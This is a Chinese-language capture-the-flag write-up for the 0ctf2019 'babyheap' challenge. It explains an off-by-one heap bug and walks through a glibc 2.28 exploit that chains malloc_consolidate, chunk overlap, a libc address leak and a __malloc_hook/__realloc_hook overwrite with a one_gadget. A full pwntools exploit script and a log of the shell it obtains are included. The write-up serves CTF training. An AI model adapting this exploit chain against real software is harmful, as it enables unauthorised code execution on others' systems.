0ctf2019 pwn babyheap writeup

相对简单的一题,可以看成高个子当中的矮子,对于初学者来说还是非常难的。

源程序、相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/0ctf2019/pwn/babyheap

安全防护

ex@Ex:~/test$ checksec babyheap
[*] '/home/ex/test/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

溢出点

Update函数里面有明显off by one漏洞。

void __fastcall read_n(char *str, unsigned __int64 length)
{
  unsigned __int64 v2; // [rsp+10h] [rbp-10h]
  ssize_t v3; // [rsp+18h] [rbp-8h]

  if ( length )
  {
    v2 = 0LL;
    while ( v2 < length )
    {
      v3 = read(0, &str[v2], length - v2);
      if ( v3 > 0 )
      {
        v2 += v3;
      }
      else if ( *__errno_location() != 11 && *__errno_location() != 4 )
      {
        break;
      }
    }
    str[v2] = 0;                                // off by one
  }
}

思路

  1. 压缩top chunk
  2. 触发 malloc_consolidate
  3. chunk overlaping
  4. 泄露地址
  5. 劫持top chunk
  6. 劫持__realloc_hook and __malloc_hook
  7. onegadget拿shell

压缩top chunk

当top chunk不足以分配需要的size时,会触发malloc_consolidate,然后free掉fastbin,就是把fastbin放入small bin中。

# run out of the top chunk
for i in range(7):
    Allocate(0x28)
    Update(i, 0x28, '\0' * 0x28)

for i in range(7):
    Delete(i)

for i in range(7):
    Allocate(0x38)
    Update(i, 0x38, '\0' * 0x38)

for i in range(7):
    Delete(i)

for i in range(7):
    Allocate(0x48)
    Update(i, 0x48, '\0' * 0x48)

for i in range(7):
    Delete(i)

for i in range(7):
    Allocate(0x58)
    Update(i, 0x58, '\0' * 0x58)

for i in range(7):
    Delete(i)

# construct fastbin
for i in range(10):
    Allocate(0x28)

for i in range(1, 9):
    Delete(i)

触发 malloc_consolidate

# Trigger consolidate
Allocate(0x38) # index 1
Update(1, 0x38, '\0' * 0x38) # modify size of unsorted bin

Allocate(0x28) # index 2

Allocate(0x28) # index 3
Allocate(0x28) # index 4
Allocate(0x28) # index 5
Allocate(0x28) # index 6
Delete(0)
Delete(1)
Delete(2)

上面修改unsorted bin的size主要是为了后面的chunk overlaping

chunk overlaping

# Trigger second consolidate
# pause()
Allocate(0x48) # index 0
Allocate(0x18) # index 1

Delete(9)

# Trigger third consolidate
# overlaping 4442
Allocate(0x58) # index 2

原理就是在malloc_consolidate函数中,会把相邻的fastbin进行合并:

if (!prev_inuse(p)) {
  prevsize = prev_size (p);
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  unlink(av, p, bck, fwd);
}

由于上面我们已经多次触发malloc_consolidate,所以heap当中的数据都已经写好了,可以绕过所有unlink检查。

泄露地址

调试可得index 5的地址离unsorted bin最近,所以把unsorted bin压缩到index 5可控的范围内即可泄露main_arena的地址。

Allocate(0x28) # index 7
Allocate(0x28) # index 8
Allocate(0x28) # index 9
Allocate(0x28) # index 10
Allocate(0x28) # index 11
Allocate(0x18) # index 12

Delete(7)
Delete(8)
Delete(9)
Delete(10)
Delete(11)

Allocate(0x38) # index 7

sh.sendline('4')
sh.recvuntil('Index: ')
sh.sendline('5')
sh.recvuntil("Chunk[5]: ")
sh.recv(16)

result = sh.recv(8)

# You should calculate the value by yourself
main_arena_addr = u64(result) - 96
libc_addr = main_arena_addr - 0x1e4c40
# main_arena_addr = u64(result) - 96
# libc_addr = main_arena_addr - 0x3a2c40
log.success("main_arena_addr: " + hex(main_arena_addr))
log.success("libc_addr: " + hex(libc_addr))

劫持top chunk

Allocate(0x48) # index 8

Allocate(0x58) # index 9
Delete(8)
Delete(9)

Update(5, 0x18, p64(0) + p64(0x51) + p64(main_arena_addr + 45))
Allocate(0x48) # index 8
Allocate(0x48) # index 9

利用 overlaping 修改fastbin的fd为main_arena_addr + 45

pwndbg> bin
tcachebins
0x30 [  7]: 0x564abc156390 —▸ 0x564abc156360 —▸ 0x564abc156330 —▸ 0x564abc156300 —▸ 0x564abc1562d0 ◂— ...
0x40 [  7]: 0x564abc156540 —▸ 0x564abc156500 —▸ 0x564abc1564c0 —▸ 0x564abc156480 —▸ 0x564abc156440 ◂— ...
0x50 [  7]: 0x564abc156760 —▸ 0x564abc156710 —▸ 0x564abc1566c0 —▸ 0x564abc156670 —▸ 0x564abc156620 ◂— ...
0x60 [  7]: 0x564abc1569f0 —▸ 0x564abc156990 —▸ 0x564abc156930 —▸ 0x564abc1568d0 —▸ 0x564abc156870 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x7f77363e5c6d (main_arena+45) ◂— 0x0
0x60: 0x564abc156ba0 ◂— 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

利用拿出来的main_arena+45来控制top chunk。

劫持__realloc_hook and __malloc_hook

将top chunk指向__malloc_hook附近即可控制__malloc_hook,也就是main_arena_addr - 0x33

Allocate(0x58) # index 10

# hijack top chunk
Update(9, 0x2b, '\0' * (3 + 0x20) + p64(main_arena_addr - 0x33))

# __realloc_hook and __malloc_hook
Allocate(0x38) # index 11

'''
0x50186 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x501e3 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x103f50 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

onegadget_offset = 0x103f50

onegadget_addr = libc_addr + onegadget_offset
log.success("onegadget_addr: " + hex(onegadget_addr))

# hijack __realloc_hook and __malloc_hook
Update(11, 0x1b, 'b' * (3 + 0x8) + p64(onegadget_addr) + p64(libc_addr + libc.symbols['__libc_realloc'] + 6)) # for [rsp+0x70] == NULL

这里我说明一下,只劫持一个 __malloc_hook 是没有办法符合 onegadget 的约束条件的,需要组合 __realloc_hook 对栈进行偏移,使得 [rsp+0x70] 的值恰好为 NULL 。

onegadget拿shell

sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(24))

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import random
import struct
import os
import binascii
import sys
import time

# context.log_level = 'debug'
sh = process("./babyheap", env={"LD_PRELOAD": "./libc-2.28.so"})
# sh = process("./babyheap")
# sh = remote('eonew.cn', 60108)
elf = ELF("./babyheap")
libc = ELF("./libc-2.28.so")
# libc = ELF("/glibc/glibc-2.28/debug_x64/lib/libc.so.6")

# Create a temporary file for GDB debugging
try:
    f = open('/tmp/pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    pass

def Allocate(size):
    sh.sendline('1')
    sh.recvuntil('Size: ')
    sh.sendline(str(size))
    sh.recvuntil('Command: ')

def Delete(index):
    sh.sendline('3')
    sh.recvuntil('Index: ')
    sh.sendline(str(index))
    sh.recvuntil('Command: ')

def Update(index, size, content):
    sh.sendline('2')
    sh.recvuntil("Index: ")
    sh.sendline(str(index))
    sh.recvuntil('Size: ')
    sh.sendline(str(size))
    sh.recvuntil('Content: ')
    sh.send(content)
    sh.recvuntil('Command: ')

sh.recvuntil('Command: ')

# run out of the top chunk
for i in range(7):
    Allocate(0x28)
    Update(i, 0x28, '\0' * 0x28)

for i in range(7):
    Delete(i)

for i in range(7):
    Allocate(0x38)
    Update(i, 0x38, '\0' * 0x38)

for i in range(7):
    Delete(i)

for i in range(7):
    Allocate(0x48)
    Update(i, 0x48, '\0' * 0x48)

for i in range(7):
    Delete(i)

for i in range(7):
    Allocate(0x58)
    Update(i, 0x58, '\0' * 0x58)

for i in range(7):
    Delete(i)

# construct fastbin
for i in range(10):
    Allocate(0x28)

for i in range(1, 9):
    Delete(i)

# Trigger consolidate
Allocate(0x38) # index 1
Update(1, 0x38, '\0' * 0x38) # modify size of unsorted bin

Allocate(0x28) # index 2

Allocate(0x28) # index 3
Allocate(0x28) # index 4
Allocate(0x28) # index 5
Allocate(0x28) # index 6
Delete(0)
Delete(1)
Delete(2)

# Trigger second consolidate
# pause()
Allocate(0x48) # index 0
Allocate(0x18) # index 1

Delete(9)

# Trigger third consolidate
# overlaping 4442
Allocate(0x58) # index 2

Allocate(0x28) # index 7
Allocate(0x28) # index 8
Allocate(0x28) # index 9
Allocate(0x28) # index 10
Allocate(0x28) # index 11
Allocate(0x18) # index 12

Delete(7)
Delete(8)
Delete(9)
Delete(10)
Delete(11)

Allocate(0x38) # index 7

sh.sendline('4')
sh.recvuntil('Index: ')
sh.sendline('5')
sh.recvuntil("Chunk[5]: ")
sh.recv(16)

result = sh.recv(8)

# You should calculate the value by yourself
main_arena_addr = u64(result) - 96
libc_addr = main_arena_addr - 0x1e4c40
# main_arena_addr = u64(result) - 96
# libc_addr = main_arena_addr - 0x3a2c40
log.success("main_arena_addr: " + hex(main_arena_addr))
log.success("libc_addr: " + hex(libc_addr))

Allocate(0x48) # index 8

Allocate(0x58) # index 9
Delete(8)
Delete(9)

Update(5, 0x18, p64(0) + p64(0x51) + p64(main_arena_addr + 45))
Allocate(0x48) # index 8
Allocate(0x48) # index 9
Allocate(0x58) # index 10

# hijack top chunk
Update(9, 0x2b, '\0' * (3 + 0x20) + p64(main_arena_addr - 0x33))

# __realloc_hook and __malloc_hook
Allocate(0x38) # index 11

'''
0x50186 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x501e3 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x103f50 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

onegadget_offset = 0x103f50

onegadget_addr = libc_addr + onegadget_offset
log.success("onegadget_addr: " + hex(onegadget_addr))

# hijack __realloc_hook and __malloc_hook
Update(11, 0x1b, 'b' * (3 + 0x8) + p64(onegadget_addr) + p64(libc_addr + libc.symbols['__libc_realloc'] + 6)) # for [rsp+0x70] == NULL

sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(24))

sh.interactive()

运行实例

ex@Ex:~/test$ ./exp.py 
[+] Opening connection to eonew.cn on port 60108: Done
[*] '/home/ex/test/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/ex/test/libc-2.28.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] main_arena_addr: 0x7f3a7123cc40
[+] libc_addr: 0x7f3a71058000
[+] onegadget_addr: 0x7f3a7115bf50
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ pwd
/
$ cat flag
5996a01ef0bb92d16fd3120152c58cb1710b3052
$  

受随机化影响,可能要多试几次才能成功。

总结

0ctf这种知名的国际赛,题目质量特别的好,每一道题目都能学到很多东西。